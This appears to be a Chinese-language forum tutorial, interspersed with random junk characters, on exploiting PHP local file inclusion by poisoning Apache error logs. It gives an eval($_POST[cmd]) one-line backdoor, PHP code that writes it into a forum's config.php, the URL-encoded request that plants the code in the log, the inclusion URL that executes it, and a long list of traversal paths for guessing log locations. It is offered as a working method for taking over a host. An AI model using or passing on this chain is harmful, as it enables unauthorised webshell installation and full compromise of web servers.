php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
$ T! C% K  y6 m( e$ O
6 `. l2 N/ i& t* x! E9 B) h- p# d比如还是这句一句话木马
1 N7 _: z( k4 n2 M) A8 r1 m; `<?eval($_POST[cmd]);?>   

$ z0 }" s# s% N6 f. g! I/ {到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
8 t. ]2 m7 s+ _
. f2 z- \; e3 P$ A<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
# l9 `: s, [3 a( d' }3 o2 c9 d
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
! \! T8 B% G, V$ J6 a5 o转换为
( Z* o2 }& e* i- r" ^+ y1 @%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) p6 @5 R; [9 Z0 C2 G: Q%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 @* n; \4 S7 r$ h) ]) R9 v& n* r/ Wfclose%28%24fp%29%3B%3F%3E
我们提交
1 f8 p. k1 v" A1 \2 x5 U# fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- y6 H4 t9 Y5 U: r  V% U0 \. o2 |%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; F. B& V3 Y8 @%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
4 P* W2 u" n6 |9 D$ I1 B0 Y/ t我们再来包含日志，提交
2 K4 E7 A0 ~, h0 @/ K0 B& A( i( c( Rhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
/ r, `7 R. i$ x; X2 u4 O
这样webshell就写入成功了，config.php里就写入一句木马语句
- P9 T4 O& M5 i/ A5 l: _+ \& fOK.
  F" k/ g8 W1 {  m# r9 w" Thttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
* d4 [$ R! c( j4 Y1 C0 }
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

8 w- W6 ~4 s8 N1 d% L其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
% d" W; B$ v/ W* z0 }+ l6 E+ H../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
0 c8 j1 ]) s) X" A' G# @../apache/logs/access.log
% T7 f3 p' u) o: E: l../../apache/logs/error.log
6 E; Q9 _; J# s../../apache/logs/access.log
../../../apache/logs/error.log
# z# a, K' v7 ?: x2 r7 Z/ Z! ^../../../apache/logs/access.log
) b0 S6 ^" K& Y9 P0 N../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
4 u! y+ @& ?9 M9 E2 o../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
# e* t% p" o1 N4 ?. }' c../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
& L) w. C+ }5 `0 w* l../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
& H! j8 O1 D' A! G. w../../../../../../../../../../var/log/access_log
+ t6 P2 c4 z- c9 U5 }4 Q' }2 Q1 u) E../../../../../../../../../../var/www/logs/error_log
+ o; R% S8 r0 ^+ j  w0 C../../../../../../../../../../var/www/logs/error.log
+ \3 v7 k: |: q/ s../../../../../../../../../../usr/local/apache/logs/error_log
# _# P) L2 z! g1 J../../../../../../../../../../usr/local/apache/logs/error.log
3 `% R: V/ h, `7 C! {0 `; j0 x% k../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
: K1 n8 Y$ G, t../../../../../../../../../../var/log/access_log
! L5 T" }3 P& h1 g4 D% ~../../../../../../../../../../var/log/error_log
: f- n6 f/ l" f, v# d, y/var/log/httpd/access_log      
/var/log/httpd/error_log     
$ _% H* ^, a9 x! N6 S' z../apache/logs/error.log     
3 ?2 {( C8 j$ W* d8 m5 C../apache/logs/access.log
../../apache/logs/error.log
( d( Y6 j6 N0 {. T0 z9 D% n. Q../../apache/logs/access.log
; e6 Z' j$ f) V( ~  [../../../apache/logs/error.log
../../../apache/logs/access.log
3 T0 p! W" v* }( V! `( v/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
( z4 P* B9 h/ P5 H5 Y# S, M+ }9 u' [/usr/local/apache/logs/access_log
4 f% A! ~! `9 \$ O1 g% ?6 i% _( a: U, W/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
3 q* @5 g" ?  b& c: {/var/log/access_log
* P' {( j  p0 M+ `: t/ z/var/www/logs/error_log
/var/www/logs/error.log
, b; m) Z; M& z' Q1 L/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
0 M! ?4 p1 i. ]$ a, ?/var/log/apache/error_log
7 h8 k* r' u- b/ {1 v- s8 C/var/log/apache/error.log
/var/log/access_log
/var/log/error_log